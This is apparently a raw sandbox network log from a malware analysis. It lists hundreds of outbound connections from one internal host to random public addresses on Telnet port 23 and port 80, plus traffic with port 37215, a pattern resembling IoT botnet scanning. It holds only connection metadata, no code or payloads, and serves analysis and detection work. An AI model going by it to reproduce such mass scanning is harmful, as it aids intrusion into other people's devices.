Dec 3, 2024 21:30:49.453063011 CET	59010	80	192.168.2.23	130.45.110.64
Dec 3, 2024 21:30:49.453063011 CET	59010	80	192.168.2.23	184.252.222.21
Dec 3, 2024 21:30:49.453063011 CET	59010	80	192.168.2.23	113.191.78.82
Dec 3, 2024 21:30:49.453063965 CET	59010	80	192.168.2.23	220.225.165.251
Dec 3, 2024 21:30:49.453074932 CET	59010	80	192.168.2.23	66.69.219.140
Dec 3, 2024 21:30:49.453085899 CET	59010	80	192.168.2.23	174.55.208.156
Dec 3, 2024 21:30:49.453085899 CET	59010	80	192.168.2.23	113.160.136.181
Dec 3, 2024 21:30:49.453090906 CET	59010	80	192.168.2.23	8.225.77.4
Dec 3, 2024 21:30:49.453108072 CET	59010	80	192.168.2.23	85.104.142.63
Dec 3, 2024 21:30:49.453114986 CET	59010	80	192.168.2.23	161.1.85.89
Dec 3, 2024 21:30:49.453116894 CET	59010	80	192.168.2.23	157.45.33.3
Dec 3, 2024 21:30:49.453116894 CET	59010	80	192.168.2.23	158.139.199.9
Dec 3, 2024 21:30:49.453116894 CET	59010	80	192.168.2.23	88.67.184.21
Dec 3, 2024 21:30:49.453130960 CET	59010	80	192.168.2.23	158.180.121.111
Dec 3, 2024 21:30:49.453131914 CET	59010	80	192.168.2.23	24.100.67.83
Dec 3, 2024 21:30:49.453136921 CET	59010	80	192.168.2.23	188.90.254.45
Dec 3, 2024 21:30:49.453139067 CET	59010	80	192.168.2.23	216.63.53.254
Dec 3, 2024 21:30:49.453157902 CET	59010	80	192.168.2.23	66.192.151.35
Dec 3, 2024 21:30:49.453157902 CET	59010	80	192.168.2.23	49.135.158.240
Dec 3, 2024 21:30:49.453160048 CET	59010	80	192.168.2.23	62.196.178.154
Dec 3, 2024 21:30:49.453165054 CET	59010	80	192.168.2.23	213.93.216.70
Dec 3, 2024 21:30:49.453167915 CET	59010	80	192.168.2.23	181.109.190.47
Dec 3, 2024 21:30:49.453182936 CET	59010	80	192.168.2.23	118.192.20.222
Dec 3, 2024 21:30:49.453191042 CET	59010	80	192.168.2.23	42.7.6.204
Dec 3, 2024 21:30:49.453198910 CET	59010	80	192.168.2.23	152.192.39.213
Dec 3, 2024 21:30:49.453212023 CET	59010	80	192.168.2.23	108.251.47.113
Dec 3, 2024 21:30:49.453218937 CET	59010	80	192.168.2.23	207.22.214.114
Dec 3, 2024 21:30:49.453218937 CET	59010	80	192.168.2.23	113.215.5.226
Dec 3, 2024 21:30:49.453221083 CET	59010	80	192.168.2.23	84.127.60.149
Dec 3, 2024 21:30:49.453221083 CET	59010	80	192.168.2.23	102.67.98.209
Dec 3, 2024 21:30:49.453238010 CET	59010	80	192.168.2.23	153.142.68.5
Dec 3, 2024 21:30:49.453238964 CET	59010	80	192.168.2.23	23.227.77.253
Dec 3, 2024 21:30:49.453241110 CET	59010	80	192.168.2.23	218.139.114.238
Dec 3, 2024 21:30:49.453244925 CET	59010	80	192.168.2.23	70.119.99.181
Dec 3, 2024 21:30:49.453252077 CET	59010	80	192.168.2.23	144.242.161.31
Dec 3, 2024 21:30:49.453263998 CET	59010	80	192.168.2.23	107.170.153.181
Dec 3, 2024 21:30:49.453272104 CET	59010	80	192.168.2.23	212.128.57.145
Dec 3, 2024 21:30:49.453274012 CET	59010	80	192.168.2.23	189.81.81.110
Dec 3, 2024 21:30:49.453274012 CET	59010	80	192.168.2.23	190.40.87.182
Dec 3, 2024 21:30:49.453275919 CET	59010	80	192.168.2.23	142.65.112.130
Dec 3, 2024 21:30:49.453277111 CET	59010	80	192.168.2.23	192.173.174.134
Dec 3, 2024 21:30:49.453275919 CET	59010	80	192.168.2.23	205.143.172.89
Dec 3, 2024 21:30:49.453283072 CET	59010	80	192.168.2.23	113.158.34.60
Dec 3, 2024 21:30:49.453284025 CET	59010	80	192.168.2.23	17.52.145.129
Dec 3, 2024 21:30:49.453299999 CET	59010	80	192.168.2.23	99.51.222.122
Dec 3, 2024 21:30:49.453301907 CET	59010	80	192.168.2.23	60.236.213.92
Dec 3, 2024 21:30:49.453305006 CET	59010	80	192.168.2.23	164.50.26.190
Dec 3, 2024 21:30:49.453315973 CET	59010	80	192.168.2.23	136.184.99.217
Dec 3, 2024 21:30:49.453321934 CET	59010	80	192.168.2.23	185.178.116.198
Dec 3, 2024 21:30:49.453325033 CET	59010	80	192.168.2.23	92.194.91.253
Dec 3, 2024 21:30:49.453339100 CET	59010	80	192.168.2.23	65.49.39.162
Dec 3, 2024 21:30:49.453342915 CET	59010	80	192.168.2.23	84.111.88.124
Dec 3, 2024 21:30:49.453344107 CET	59010	80	192.168.2.23	203.3.172.123
Dec 3, 2024 21:30:49.453346014 CET	59010	80	192.168.2.23	72.247.227.4
Dec 3, 2024 21:30:49.453349113 CET	59010	80	192.168.2.23	49.214.134.84
Dec 3, 2024 21:30:49.453365088 CET	59010	80	192.168.2.23	149.94.76.122
Dec 3, 2024 21:30:49.453367949 CET	59010	80	192.168.2.23	52.157.4.192
Dec 3, 2024 21:30:49.453371048 CET	59010	80	192.168.2.23	49.224.176.231
Dec 3, 2024 21:30:49.453371048 CET	59010	80	192.168.2.23	202.90.146.128
Dec 3, 2024 21:30:49.453371048 CET	59010	80	192.168.2.23	151.49.30.179
Dec 3, 2024 21:30:49.471942902 CET	37215	39614	197.135.129.229	192.168.2.23
Dec 3, 2024 21:30:49.471997023 CET	37215	52264	41.75.37.101	192.168.2.23
Dec 3, 2024 21:30:49.495424032 CET	37215	38512	41.91.233.173	192.168.2.23
Dec 3, 2024 21:30:49.495800972 CET	37215	38650	41.91.233.173	192.168.2.23
Dec 3, 2024 21:30:49.496118069 CET	38650	37215	192.168.2.23	41.91.233.173
Dec 3, 2024 21:30:49.496331930 CET	38650	37215	192.168.2.23	41.91.233.173
Dec 3, 2024 21:30:49.496396065 CET	37215	35808	156.69.33.115	192.168.2.23
Dec 3, 2024 21:30:49.496567011 CET	37215	35946	156.69.33.115	192.168.2.23
Dec 3, 2024 21:30:49.496620893 CET	35946	37215	192.168.2.23	156.69.33.115
Dec 3, 2024 21:30:49.496665955 CET	35946	37215	192.168.2.23	156.69.33.115
Dec 3, 2024 21:30:49.496957064 CET	37215	51070	41.68.120.66	192.168.2.23
Dec 3, 2024 21:30:49.497296095 CET	37215	51208	41.68.120.66	192.168.2.23
Dec 3, 2024 21:30:49.497363091 CET	51208	37215	192.168.2.23	41.68.120.66
Dec 3, 2024 21:30:49.497363091 CET	51208	37215	192.168.2.23	41.68.120.66
Dec 3, 2024 21:30:49.497641087 CET	37215	50372	197.9.55.89	192.168.2.23
Dec 3, 2024 21:30:49.497912884 CET	37215	50510	197.9.55.89	192.168.2.23
Dec 3, 2024 21:30:49.497955084 CET	50510	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.497968912 CET	50510	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.498348951 CET	37215	40782	156.70.75.133	192.168.2.23
Dec 3, 2024 21:30:49.499140978 CET	37215	58916	197.222.83.103	192.168.2.23
Dec 3, 2024 21:30:49.499407053 CET	37215	59054	197.222.83.103	192.168.2.23
Dec 3, 2024 21:30:49.499455929 CET	59054	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.499475956 CET	59054	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.499686003 CET	37215	36032	156.110.125.63	192.168.2.23
Dec 3, 2024 21:30:49.500417948 CET	37215	41278	197.50.83.42	192.168.2.23
Dec 3, 2024 21:30:49.501218081 CET	37215	33276	197.166.189.254	192.168.2.23
Dec 3, 2024 21:30:49.501774073 CET	37215	43142	197.158.250.72	192.168.2.23
Dec 3, 2024 21:30:49.502549887 CET	37215	60002	197.119.240.72	192.168.2.23
Dec 3, 2024 21:30:49.503196001 CET	37215	36440	156.188.250.125	192.168.2.23
Dec 3, 2024 21:30:49.511773109 CET	37215	36928	197.79.214.113	192.168.2.23
Dec 3, 2024 21:30:49.511872053 CET	37215	37032	197.79.214.113	192.168.2.23
Dec 3, 2024 21:30:49.511943102 CET	37032	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.512100935 CET	37032	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.519694090 CET	37215	37280	41.183.207.233	192.168.2.23
Dec 3, 2024 21:30:49.519905090 CET	37215	37364	41.183.207.233	192.168.2.23
Dec 3, 2024 21:30:49.519953966 CET	37364	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.519979000 CET	37364	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.524720907 CET	59020	23	192.168.2.23	197.240.86.101
Dec 3, 2024 21:30:49.524730921 CET	59020	23	192.168.2.23	111.179.249.135
Dec 3, 2024 21:30:49.524730921 CET	59020	23	192.168.2.23	45.122.210.127
Dec 3, 2024 21:30:49.524744987 CET	59020	23	192.168.2.23	62.11.148.120
Dec 3, 2024 21:30:49.524750948 CET	59020	23	192.168.2.23	145.7.45.241
Dec 3, 2024 21:30:49.524760962 CET	59020	23	192.168.2.23	179.174.152.134
Dec 3, 2024 21:30:49.524784088 CET	59020	23	192.168.2.23	163.15.58.131
Dec 3, 2024 21:30:49.524784088 CET	59020	23	192.168.2.23	86.180.110.242
Dec 3, 2024 21:30:49.524784088 CET	59020	23	192.168.2.23	139.51.253.169
Dec 3, 2024 21:30:49.524785995 CET	59020	23	192.168.2.23	205.160.116.74
Dec 3, 2024 21:30:49.524784088 CET	59020	23	192.168.2.23	129.230.236.185
Dec 3, 2024 21:30:49.524784088 CET	59020	23	192.168.2.23	211.226.47.243
Dec 3, 2024 21:30:49.524791002 CET	59020	23	192.168.2.23	201.181.63.45
Dec 3, 2024 21:30:49.524794102 CET	59020	23	192.168.2.23	132.88.119.88
Dec 3, 2024 21:30:49.524794102 CET	59020	23	192.168.2.23	46.153.242.112
Dec 3, 2024 21:30:49.524795055 CET	59020	23	192.168.2.23	97.69.12.84
Dec 3, 2024 21:30:49.524807930 CET	59020	23	192.168.2.23	48.19.12.150
Dec 3, 2024 21:30:49.524812937 CET	59020	23	192.168.2.23	180.62.115.77
Dec 3, 2024 21:30:49.524815083 CET	59020	23	192.168.2.23	209.136.225.148
Dec 3, 2024 21:30:49.524815083 CET	59020	23	192.168.2.23	159.103.188.41
Dec 3, 2024 21:30:49.524822950 CET	59020	23	192.168.2.23	198.95.43.109
Dec 3, 2024 21:30:49.524838924 CET	59020	23	192.168.2.23	218.208.221.230
Dec 3, 2024 21:30:49.524841070 CET	59020	23	192.168.2.23	198.15.76.131
Dec 3, 2024 21:30:49.524848938 CET	59020	23	192.168.2.23	139.93.133.168
Dec 3, 2024 21:30:49.524848938 CET	59020	23	192.168.2.23	218.50.188.124
Dec 3, 2024 21:30:49.524868965 CET	59020	23	192.168.2.23	212.51.147.57
Dec 3, 2024 21:30:49.524868965 CET	59020	23	192.168.2.23	105.32.6.132
Dec 3, 2024 21:30:49.524868965 CET	59020	23	192.168.2.23	107.130.77.49
Dec 3, 2024 21:30:49.524868965 CET	59020	23	192.168.2.23	65.182.52.92
Dec 3, 2024 21:30:49.524879932 CET	59020	23	192.168.2.23	142.171.143.226
Dec 3, 2024 21:30:49.524879932 CET	59020	23	192.168.2.23	23.37.34.163
Dec 3, 2024 21:30:49.524904013 CET	59020	23	192.168.2.23	207.10.250.155
Dec 3, 2024 21:30:49.524904966 CET	59020	23	192.168.2.23	13.255.117.226
Dec 3, 2024 21:30:49.524908066 CET	59020	23	192.168.2.23	94.84.164.99
Dec 3, 2024 21:30:49.524920940 CET	59020	23	192.168.2.23	185.190.1.106
Dec 3, 2024 21:30:49.524921894 CET	59020	23	192.168.2.23	176.119.2.209
Dec 3, 2024 21:30:49.524930000 CET	59020	23	192.168.2.23	210.217.121.25
Dec 3, 2024 21:30:49.524930954 CET	59020	23	192.168.2.23	146.205.170.226
Dec 3, 2024 21:30:49.524931908 CET	59020	23	192.168.2.23	65.234.59.34
Dec 3, 2024 21:30:49.524931908 CET	59020	23	192.168.2.23	93.36.93.202
Dec 3, 2024 21:30:49.524940014 CET	59020	23	192.168.2.23	99.94.202.134
Dec 3, 2024 21:30:49.524940968 CET	59020	23	192.168.2.23	129.186.246.64
Dec 3, 2024 21:30:49.524944067 CET	59020	23	192.168.2.23	45.75.74.162
Dec 3, 2024 21:30:49.524955988 CET	59020	23	192.168.2.23	23.127.8.207
Dec 3, 2024 21:30:49.524955988 CET	59020	23	192.168.2.23	195.233.62.147
Dec 3, 2024 21:30:49.524956942 CET	59020	23	192.168.2.23	157.53.99.10
Dec 3, 2024 21:30:49.524967909 CET	59020	23	192.168.2.23	38.22.139.122
Dec 3, 2024 21:30:49.524977922 CET	59020	23	192.168.2.23	125.40.182.137
Dec 3, 2024 21:30:49.524980068 CET	59020	23	192.168.2.23	216.20.20.88
Dec 3, 2024 21:30:49.524981976 CET	59020	23	192.168.2.23	194.76.239.228
Dec 3, 2024 21:30:49.524998903 CET	59020	23	192.168.2.23	53.119.82.75
Dec 3, 2024 21:30:49.524998903 CET	59020	23	192.168.2.23	202.231.242.30
Dec 3, 2024 21:30:49.524998903 CET	59020	23	192.168.2.23	140.247.80.237
Dec 3, 2024 21:30:49.525000095 CET	59020	23	192.168.2.23	180.171.237.183
Dec 3, 2024 21:30:49.525012016 CET	59020	23	192.168.2.23	180.71.172.98
Dec 3, 2024 21:30:49.525016069 CET	59020	23	192.168.2.23	12.43.179.90
Dec 3, 2024 21:30:49.525018930 CET	59020	23	192.168.2.23	34.44.100.248
Dec 3, 2024 21:30:49.525027037 CET	59020	23	192.168.2.23	145.51.223.243
Dec 3, 2024 21:30:49.525032997 CET	59020	23	192.168.2.23	53.77.134.147
Dec 3, 2024 21:30:49.525048018 CET	59020	23	192.168.2.23	147.74.132.166
Dec 3, 2024 21:30:49.525053024 CET	59020	23	192.168.2.23	81.86.92.53
Dec 3, 2024 21:30:49.525057077 CET	59020	23	192.168.2.23	177.31.61.112
Dec 3, 2024 21:30:49.525057077 CET	59020	23	192.168.2.23	167.27.96.161
Dec 3, 2024 21:30:49.525057077 CET	59020	23	192.168.2.23	142.194.246.133
Dec 3, 2024 21:30:49.525059938 CET	59020	23	192.168.2.23	45.0.35.155
Dec 3, 2024 21:30:49.525077105 CET	59020	23	192.168.2.23	92.61.133.193
Dec 3, 2024 21:30:49.525080919 CET	59020	23	192.168.2.23	216.118.18.132
Dec 3, 2024 21:30:49.525087118 CET	59020	23	192.168.2.23	99.32.9.61
Dec 3, 2024 21:30:49.525094986 CET	59020	23	192.168.2.23	130.90.81.53
Dec 3, 2024 21:30:49.525098085 CET	59020	23	192.168.2.23	46.25.109.191
Dec 3, 2024 21:30:49.525098085 CET	59020	23	192.168.2.23	219.21.116.180
Dec 3, 2024 21:30:49.525098085 CET	59020	23	192.168.2.23	116.193.165.250
Dec 3, 2024 21:30:49.525109053 CET	59020	23	192.168.2.23	187.155.197.176
Dec 3, 2024 21:30:49.525114059 CET	59020	23	192.168.2.23	64.218.166.146
Dec 3, 2024 21:30:49.525114059 CET	59020	23	192.168.2.23	99.243.65.84
Dec 3, 2024 21:30:49.525125027 CET	59020	23	192.168.2.23	78.78.154.119
Dec 3, 2024 21:30:49.525125980 CET	59020	23	192.168.2.23	108.97.64.142
Dec 3, 2024 21:30:49.525135040 CET	59020	23	192.168.2.23	36.6.90.112
Dec 3, 2024 21:30:49.525141001 CET	59020	23	192.168.2.23	49.190.27.150
Dec 3, 2024 21:30:49.525142908 CET	59020	23	192.168.2.23	49.13.49.115
Dec 3, 2024 21:30:49.525146961 CET	59020	23	192.168.2.23	103.188.41.114
Dec 3, 2024 21:30:49.525160074 CET	59020	23	192.168.2.23	13.180.70.136
Dec 3, 2024 21:30:49.525165081 CET	59020	23	192.168.2.23	54.140.100.109
Dec 3, 2024 21:30:49.525171041 CET	59020	23	192.168.2.23	190.10.230.189
Dec 3, 2024 21:30:49.525167942 CET	59020	23	192.168.2.23	66.13.163.40
Dec 3, 2024 21:30:49.525216103 CET	59020	23	192.168.2.23	118.28.31.4
Dec 3, 2024 21:30:49.525223970 CET	59020	23	192.168.2.23	118.215.2.150
Dec 3, 2024 21:30:49.525223970 CET	59020	23	192.168.2.23	54.223.2.115
Dec 3, 2024 21:30:49.525233984 CET	59020	23	192.168.2.23	94.117.226.66
Dec 3, 2024 21:30:49.525240898 CET	59020	23	192.168.2.23	20.116.182.128
Dec 3, 2024 21:30:49.525242090 CET	59020	23	192.168.2.23	220.221.249.140
Dec 3, 2024 21:30:49.525242090 CET	59020	23	192.168.2.23	108.162.29.32
Dec 3, 2024 21:30:49.525245905 CET	59020	23	192.168.2.23	145.61.221.251
Dec 3, 2024 21:30:49.525245905 CET	59020	23	192.168.2.23	151.231.118.29
Dec 3, 2024 21:30:49.525245905 CET	59020	23	192.168.2.23	97.250.146.93
Dec 3, 2024 21:30:49.525249958 CET	59020	23	192.168.2.23	20.16.195.108
Dec 3, 2024 21:30:49.525253057 CET	59020	23	192.168.2.23	14.72.10.141
Dec 3, 2024 21:30:49.525253057 CET	59020	23	192.168.2.23	87.244.100.238
Dec 3, 2024 21:30:49.525279999 CET	59020	23	192.168.2.23	117.7.126.195
Dec 3, 2024 21:30:49.525280952 CET	59020	23	192.168.2.23	35.110.124.1
Dec 3, 2024 21:30:49.525283098 CET	59020	23	192.168.2.23	138.175.88.40
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	61.53.174.151
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	205.72.4.100
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	115.165.193.190
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	63.131.184.164
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	195.77.64.199
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	159.171.155.170
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	141.88.90.189
Dec 3, 2024 21:30:49.525284052 CET	59020	23	192.168.2.23	32.177.73.12
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	60.13.57.132
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	37.241.10.226
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	20.101.247.192
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	25.241.59.206
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	160.252.58.151
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	78.242.182.125
Dec 3, 2024 21:30:49.525288105 CET	59020	23	192.168.2.23	99.225.28.41
Dec 3, 2024 21:30:49.525305033 CET	59020	23	192.168.2.23	181.74.152.243
Dec 3, 2024 21:30:49.525305033 CET	59020	23	192.168.2.23	154.83.1.1
Dec 3, 2024 21:30:49.525305986 CET	59020	23	192.168.2.23	54.148.2.131
Dec 3, 2024 21:30:49.525305033 CET	59020	23	192.168.2.23	2.179.136.239
Dec 3, 2024 21:30:49.525306940 CET	59020	23	192.168.2.23	151.107.60.45
Dec 3, 2024 21:30:49.525305986 CET	59020	23	192.168.2.23	110.93.22.146
Dec 3, 2024 21:30:49.525307894 CET	59020	23	192.168.2.23	12.127.164.169
Dec 3, 2024 21:30:49.525310993 CET	59020	23	192.168.2.23	83.227.12.228
Dec 3, 2024 21:30:49.525306940 CET	59020	23	192.168.2.23	175.2.129.110
Dec 3, 2024 21:30:49.525307894 CET	59020	23	192.168.2.23	143.240.25.30
Dec 3, 2024 21:30:49.525310993 CET	59020	23	192.168.2.23	219.19.144.69
Dec 3, 2024 21:30:49.525316000 CET	59020	23	192.168.2.23	112.162.79.43
Dec 3, 2024 21:30:49.525307894 CET	59020	23	192.168.2.23	72.65.173.70
Dec 3, 2024 21:30:49.525312901 CET	59020	23	192.168.2.23	165.125.254.166
Dec 3, 2024 21:30:49.525307894 CET	59020	23	192.168.2.23	12.234.245.215
Dec 3, 2024 21:30:49.525312901 CET	59020	23	192.168.2.23	122.230.237.55
Dec 3, 2024 21:30:49.525312901 CET	59020	23	192.168.2.23	151.119.112.21
Dec 3, 2024 21:30:49.525322914 CET	59020	23	192.168.2.23	107.43.133.2
Dec 3, 2024 21:30:49.525322914 CET	59020	23	192.168.2.23	47.232.167.232
Dec 3, 2024 21:30:49.525322914 CET	59020	23	192.168.2.23	147.25.222.28
Dec 3, 2024 21:30:49.525322914 CET	59020	23	192.168.2.23	174.169.120.171
Dec 3, 2024 21:30:49.525326014 CET	59020	23	192.168.2.23	169.153.173.198
Dec 3, 2024 21:30:49.525326014 CET	59020	23	192.168.2.23	50.244.237.15
Dec 3, 2024 21:30:49.525326014 CET	59020	23	192.168.2.23	80.90.188.23
Dec 3, 2024 21:30:49.525331974 CET	59020	23	192.168.2.23	102.137.56.245
Dec 3, 2024 21:30:49.525331974 CET	59020	23	192.168.2.23	75.75.197.154
Dec 3, 2024 21:30:49.525331974 CET	59020	23	192.168.2.23	163.228.225.220
Dec 3, 2024 21:30:49.525331974 CET	59020	23	192.168.2.23	91.180.159.63
Dec 3, 2024 21:30:49.525332928 CET	59020	23	192.168.2.23	138.110.49.242
Dec 3, 2024 21:30:49.525335073 CET	59020	23	192.168.2.23	63.25.6.221
Dec 3, 2024 21:30:49.525341988 CET	59020	23	192.168.2.23	130.50.168.138
Dec 3, 2024 21:30:49.525348902 CET	59020	23	192.168.2.23	59.221.12.21
Dec 3, 2024 21:30:49.525355101 CET	59020	23	192.168.2.23	14.64.229.43
Dec 3, 2024 21:30:49.525362968 CET	59020	23	192.168.2.23	132.133.186.147
Dec 3, 2024 21:30:49.525372028 CET	59020	23	192.168.2.23	96.6.91.92
Dec 3, 2024 21:30:49.525377989 CET	59020	23	192.168.2.23	24.64.154.217
Dec 3, 2024 21:30:49.525377989 CET	59020	23	192.168.2.23	121.0.146.61
Dec 3, 2024 21:30:49.525377989 CET	59020	23	192.168.2.23	63.233.226.95
Dec 3, 2024 21:30:49.525377989 CET	59020	23	192.168.2.23	131.11.158.247
Dec 3, 2024 21:30:49.525377989 CET	59020	23	192.168.2.23	70.216.74.8
Dec 3, 2024 21:30:49.525378942 CET	59020	23	192.168.2.23	210.186.15.219
Dec 3, 2024 21:30:49.525378942 CET	59020	23	192.168.2.23	8.177.214.182
Dec 3, 2024 21:30:49.525378942 CET	59020	23	192.168.2.23	183.18.40.99
Dec 3, 2024 21:30:49.525389910 CET	59020	23	192.168.2.23	191.1.26.195
Dec 3, 2024 21:30:49.525389910 CET	59020	23	192.168.2.23	222.176.236.16
Dec 3, 2024 21:30:49.525389910 CET	59020	23	192.168.2.23	91.222.239.169
Dec 3, 2024 21:30:49.525424957 CET	59020	23	192.168.2.23	82.3.150.34
Dec 3, 2024 21:30:49.525425911 CET	59020	23	192.168.2.23	111.2.136.197
Dec 3, 2024 21:30:49.525425911 CET	59020	23	192.168.2.23	105.193.74.226
Dec 3, 2024 21:30:49.525425911 CET	59020	23	192.168.2.23	165.176.19.165
Dec 3, 2024 21:30:49.525448084 CET	59020	23	192.168.2.23	212.246.187.207
Dec 3, 2024 21:30:49.525450945 CET	59020	23	192.168.2.23	142.0.17.194
Dec 3, 2024 21:30:49.525450945 CET	59020	23	192.168.2.23	31.36.48.218
Dec 3, 2024 21:30:49.525453091 CET	59020	23	192.168.2.23	190.85.199.245
Dec 3, 2024 21:30:49.525453091 CET	59020	23	192.168.2.23	8.102.99.96
Dec 3, 2024 21:30:49.525453091 CET	59020	23	192.168.2.23	27.218.161.119
Dec 3, 2024 21:30:49.525453091 CET	59020	23	192.168.2.23	123.187.91.205
Dec 3, 2024 21:30:49.525453091 CET	59020	23	192.168.2.23	115.174.172.16
Dec 3, 2024 21:30:49.525453091 CET	59020	23	192.168.2.23	199.17.69.248
Dec 3, 2024 21:30:49.525455952 CET	59020	23	192.168.2.23	144.186.249.200
Dec 3, 2024 21:30:49.525455952 CET	59020	23	192.168.2.23	92.67.212.135
Dec 3, 2024 21:30:49.525473118 CET	59020	23	192.168.2.23	61.105.146.47
Dec 3, 2024 21:30:49.525474072 CET	59020	23	192.168.2.23	205.148.61.185
Dec 3, 2024 21:30:49.525474072 CET	59020	23	192.168.2.23	187.55.174.88
Dec 3, 2024 21:30:49.525475025 CET	59020	23	192.168.2.23	99.224.196.121
Dec 3, 2024 21:30:49.525475025 CET	59020	23	192.168.2.23	1.39.251.97
Dec 3, 2024 21:30:49.525475025 CET	59020	23	192.168.2.23	180.78.23.164
Dec 3, 2024 21:30:49.525476933 CET	59020	23	192.168.2.23	178.185.236.84
Dec 3, 2024 21:30:49.525480032 CET	59020	23	192.168.2.23	63.215.33.247
Dec 3, 2024 21:30:49.525480032 CET	59020	23	192.168.2.23	39.84.253.161
Dec 3, 2024 21:30:49.525480032 CET	59020	23	192.168.2.23	150.142.52.247
Dec 3, 2024 21:30:49.525496006 CET	59020	23	192.168.2.23	164.173.248.217
Dec 3, 2024 21:30:49.525497913 CET	59020	23	192.168.2.23	57.119.21.77
Dec 3, 2024 21:30:49.525499105 CET	59020	23	192.168.2.23	73.71.226.160
Dec 3, 2024 21:30:49.525500059 CET	59020	23	192.168.2.23	187.35.35.83
Dec 3, 2024 21:30:49.525500059 CET	59020	23	192.168.2.23	212.49.29.1
Dec 3, 2024 21:30:49.525501966 CET	59020	23	192.168.2.23	49.178.49.26
Dec 3, 2024 21:30:49.525501966 CET	59020	23	192.168.2.23	78.163.68.226
Dec 3, 2024 21:30:49.525501966 CET	59020	23	192.168.2.23	186.0.87.31
Dec 3, 2024 21:30:49.525501966 CET	59020	23	192.168.2.23	168.88.75.63
Dec 3, 2024 21:30:49.525502920 CET	59020	23	192.168.2.23	213.197.47.166
Dec 3, 2024 21:30:49.525502920 CET	59020	23	192.168.2.23	199.3.183.229
Dec 3, 2024 21:30:49.525504112 CET	59020	23	192.168.2.23	72.89.138.220
Dec 3, 2024 21:30:49.525504112 CET	59020	23	192.168.2.23	144.241.56.142
Dec 3, 2024 21:30:49.525504112 CET	59020	23	192.168.2.23	68.123.120.226
Dec 3, 2024 21:30:49.525516987 CET	59020	23	192.168.2.23	136.145.110.6
Dec 3, 2024 21:30:49.525517941 CET	59020	23	192.168.2.23	36.254.90.158
Dec 3, 2024 21:30:49.525517941 CET	59020	23	192.168.2.23	160.153.85.127
Dec 3, 2024 21:30:49.525521040 CET	59020	23	192.168.2.23	67.146.27.35
Dec 3, 2024 21:30:49.525521040 CET	59020	23	192.168.2.23	94.44.231.233
Dec 3, 2024 21:30:49.525521994 CET	59020	23	192.168.2.23	220.66.52.73
Dec 3, 2024 21:30:49.525523901 CET	59020	23	192.168.2.23	196.249.236.175
Dec 3, 2024 21:30:49.525526047 CET	59020	23	192.168.2.23	86.197.26.141
Dec 3, 2024 21:30:49.525526047 CET	59020	23	192.168.2.23	84.90.49.110
Dec 3, 2024 21:30:49.525527954 CET	59020	23	192.168.2.23	198.50.75.16
Dec 3, 2024 21:30:49.525527954 CET	59020	23	192.168.2.23	49.154.137.37
Dec 3, 2024 21:30:49.525527954 CET	59020	23	192.168.2.23	174.41.44.193
Dec 3, 2024 21:30:49.525535107 CET	59020	23	192.168.2.23	217.142.106.94
Dec 3, 2024 21:30:49.525537014 CET	59020	23	192.168.2.23	71.137.1.89
Dec 3, 2024 21:30:49.525537014 CET	59020	23	192.168.2.23	37.31.121.214
Dec 3, 2024 21:30:49.525540113 CET	59020	23	192.168.2.23	173.181.175.114
Dec 3, 2024 21:30:49.525540113 CET	59020	23	192.168.2.23	119.27.64.30
Dec 3, 2024 21:30:49.525541067 CET	59020	23	192.168.2.23	101.197.87.129
Dec 3, 2024 21:30:49.525542021 CET	59020	23	192.168.2.23	87.76.148.84
Dec 3, 2024 21:30:49.525542974 CET	59020	23	192.168.2.23	79.103.251.224
Dec 3, 2024 21:30:49.525542974 CET	59020	23	192.168.2.23	110.130.194.130
Dec 3, 2024 21:30:49.525551081 CET	59020	23	192.168.2.23	198.43.80.110
Dec 3, 2024 21:30:49.525551081 CET	59020	23	192.168.2.23	37.31.127.20
Dec 3, 2024 21:30:49.525551081 CET	59020	23	192.168.2.23	99.81.155.98
Dec 3, 2024 21:30:49.525554895 CET	59020	23	192.168.2.23	147.249.28.61
Dec 3, 2024 21:30:49.525563955 CET	59020	23	192.168.2.23	93.237.28.53
Dec 3, 2024 21:30:49.525563955 CET	59020	23	192.168.2.23	191.221.87.211
Dec 3, 2024 21:30:49.525563955 CET	59020	23	192.168.2.23	72.104.44.13
Dec 3, 2024 21:30:49.525564909 CET	59020	23	192.168.2.23	65.216.73.24
Dec 3, 2024 21:30:49.525564909 CET	59020	23	192.168.2.23	166.7.65.193
Dec 3, 2024 21:30:49.525566101 CET	59020	23	192.168.2.23	134.78.66.168
Dec 3, 2024 21:30:49.525572062 CET	59020	23	192.168.2.23	147.230.134.140
Dec 3, 2024 21:30:49.525583029 CET	59020	23	192.168.2.23	222.2.118.118
Dec 3, 2024 21:30:49.525583029 CET	59020	23	192.168.2.23	134.138.246.186
Dec 3, 2024 21:30:49.525583029 CET	59020	23	192.168.2.23	171.177.118.185
Dec 3, 2024 21:30:49.525583982 CET	59020	23	192.168.2.23	9.225.47.182
Dec 3, 2024 21:30:49.525589943 CET	59020	23	192.168.2.23	60.96.43.211
Dec 3, 2024 21:30:49.525592089 CET	59020	23	192.168.2.23	20.31.89.165
Dec 3, 2024 21:30:49.525592089 CET	59020	23	192.168.2.23	91.234.108.222
Dec 3, 2024 21:30:49.525592089 CET	59020	23	192.168.2.23	115.11.246.28
Dec 3, 2024 21:30:49.525592089 CET	59020	23	192.168.2.23	185.172.55.220
Dec 3, 2024 21:30:49.525592089 CET	59020	23	192.168.2.23	20.227.205.89
